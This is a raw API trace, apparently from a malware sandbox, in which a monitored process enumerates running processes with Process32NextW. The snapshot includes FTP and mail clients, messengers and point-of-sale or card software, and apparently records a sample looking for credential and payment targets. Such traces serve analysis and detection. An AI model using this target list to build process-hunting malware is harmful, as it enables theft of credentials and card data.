	[0073.069] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0073.069] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0073.069] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0073.070] lstrlenW (lpString="fur-hold.exe") returned 12
	[0073.070] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0073.070] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0073.070] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0073.071] lstrlenW (lpString="vat.exe") returned 7
	[0073.071] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0073.071] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0073.071] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0073.072] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0073.072] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0073.072] lstrlenW (lpString="paxiltried.exe") returned 14
	[0073.072] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0073.073] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0073.073] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0073.073] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0073.073] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0073.074] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0073.074] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0073.074] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0073.074] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0073.075] lstrlenW (lpString="ride_australian.exe") returned 19
	[0073.075] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0073.076] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0073.076] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0073.076] lstrlenW (lpString="rc remember.exe") returned 15
	[0073.076] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0073.077] lstrlenW (lpString="records replace.exe") returned 19
	[0073.077] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0073.077] lstrlenW (lpString="isp physiology.exe") returned 18
	[0073.077] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0073.078] lstrlenW (lpString="feb.exe") returned 7
	[0073.078] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0073.078] lstrlenW (lpString="citizenship.exe") returned 15
	[0073.078] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0073.680] lstrlenW (lpString="wifi.exe") returned 8
	[0073.680] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0073.681] lstrlenW (lpString="3dftp.exe") returned 9
	[0073.681] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0073.681] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0073.681] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0073.682] lstrlenW (lpString="alftp.exe") returned 9
	[0073.682] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0073.683] lstrlenW (lpString="barca.exe") returned 9
	[0073.683] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0073.684] lstrlenW (lpString="bitkinex.exe") returned 12
	[0073.684] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0073.685] lstrlenW (lpString="coreftp.exe") returned 11
	[0073.685] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0073.686] lstrlenW (lpString="far.exe") returned 7
	[0073.686] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0073.687] lstrlenW (lpString="filezilla.exe") returned 13
	[0073.687] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0073.688] lstrlenW (lpString="flashfxp.exe") returned 12
	[0073.688] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0073.689] lstrlenW (lpString="fling.exe") returned 9
	[0073.689] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0073.690] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0073.690] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0073.691] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0073.691] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0073.692] lstrlenW (lpString="icq.exe") returned 7
	[0073.692] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0073.693] lstrlenW (lpString="leechftp.exe") returned 12
	[0073.693] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0073.694] lstrlenW (lpString="ncftp.exe") returned 9
	[0073.694] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0073.694] lstrlenW (lpString="notepad.exe") returned 11
	[0073.694] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0073.695] lstrlenW (lpString="operamail.exe") returned 13
	[0073.695] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0073.696] lstrlenW (lpString="pidgin.exe") returned 10
	[0073.696] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0073.697] lstrlenW (lpString="scriptftp.exe") returned 13
	[0073.697] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0073.698] lstrlenW (lpString="skype.exe") returned 9
	[0073.698] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0073.699] lstrlenW (lpString="smartftp.exe") returned 12
	[0073.699] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0073.700] lstrlenW (lpString="thunderbird.exe") returned 15
	[0073.700] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0073.701] lstrlenW (lpString="totalcmd.exe") returned 12
	[0073.701] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0073.701] lstrlenW (lpString="trillian.exe") returned 12
	[0073.701] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0073.702] lstrlenW (lpString="webdrive.exe") returned 12
	[0073.702] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0073.703] lstrlenW (lpString="whatsapp.exe") returned 12
	[0073.703] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0073.704] lstrlenW (lpString="winscp.exe") returned 10
	[0073.704] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0073.705] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0073.705] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0073.706] lstrlenW (lpString="active-charge.exe") returned 17
	[0073.706] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0073.707] lstrlenW (lpString="accupos.exe") returned 11
	[0073.707] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0073.707] lstrlenW (lpString="afr38.exe") returned 9
	[0073.708] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0073.708] lstrlenW (lpString="aldelo.exe") returned 10
	[0073.708] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0073.709] lstrlenW (lpString="ccv_server.exe") returned 14
	[0073.709] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0073.710] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0073.710] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0073.711] lstrlenW (lpString="creditservice.exe") returned 17
	[0073.711] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0073.711] lstrlenW (lpString="edcsvr.exe") returned 10
	[0073.711] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0073.712] lstrlenW (lpString="fpos.exe") returned 8
	[0073.712] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0073.713] lstrlenW (lpString="isspos.exe") returned 10
	[0073.713] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0073.714] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0073.714] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0073.714] lstrlenW (lpString="omnipos.exe") returned 11
	[0073.714] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0073.715] lstrlenW (lpString="spcwin.exe") returned 10
	[0073.715] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0073.716] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0073.716] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0073.717] lstrlenW (lpString="utg2.exe") returned 8
	[0073.717] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0073.717] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0073.717] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0073.718] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0073.718] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0073.719] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0073.719] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0074.246] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0074.246] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0074.247] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0074.247] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.247] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.247] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.248] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.248] Process32NextW (in: hSnapshot=0x378, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
